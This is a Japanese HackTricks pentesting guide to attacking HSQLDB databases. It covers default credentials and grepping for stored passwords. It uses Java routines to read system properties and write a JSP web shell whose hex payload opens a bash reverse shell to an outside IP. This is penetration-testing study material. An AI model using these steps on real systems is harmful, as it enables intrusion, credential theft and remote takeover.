tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
HSQLDB (HyperSQL DataBase) は、Javaで書かれた主要なSQLリレーショナルデータベースシステムです。メモリ内およびディスクベースのテーブルを持ち、埋め込みモードとサーバーモードをサポートする、小型で高速なマルチスレッドおよびトランザクショナルなデータベースエンジンを提供します。
デフォルトポート: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
情報
デフォルト設定
デフォルトでは、このサービスはメモリ内で実行されているか、localhostにバインドされている可能性があります。これを見つけた場合、別のサービスを悪用し、特権を昇格させようとしている可能性があります。
デフォルトの認証情報は通常、sa
と空のパスワードです。
別のサービスを悪用した場合、可能な認証情報を検索してください。
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
データベース名を注意深くメモしてください - 接続するために必要です。
情報収集
HSQLDBをダウンロードして、hsqldb/lib/hsqldb.jar
を抽出してDBインスタンスに接続します。java -jar hsqldb.jar
を使用してGUIアプリを実行し、発見した/弱い資格情報を使用してインスタンスに接続します。
接続URLはリモートシステムの場合、次のようになります: jdbc:hsqldb:hsql://ip/DBNAME
。
トリック
Java言語ルーチン
HSQLDBからJava言語ルーチンを使用してJavaクラスの静的メソッドを呼び出すことができます。呼び出されるクラスはアプリケーションのクラスパスに含まれている必要があることに注意してください。
JRTはfunctions
またはprocedures
です。関数は、Javaメソッドが1つ以上のSQL互換のプリミティブ変数を返す場合、SQL文を介して呼び出すことができます。VALUES
文を使用して呼び出されます。
呼び出したいJavaメソッドがvoidを返す場合、CALL
文で呼び出されるプロシージャを使用する必要があります。
Javaシステムプロパティの読み取り
関数を作成:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
関数を実行する:
VALUES(getsystemproperty('user.name'))
システムプロパティのリストはこちらで見つけることができます。
ファイルにコンテンツを書き込む
com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
Javaガジェットを使用して、カスタム手順を介して16進エンコードされたアイテムをディスクに書き込むことができます。このガジェットはJDKにあり(アプリケーションのクラスパスに自動的にロードされます)、最大サイズは1024バイトです。
手順を作成:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
手続きを実行します:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。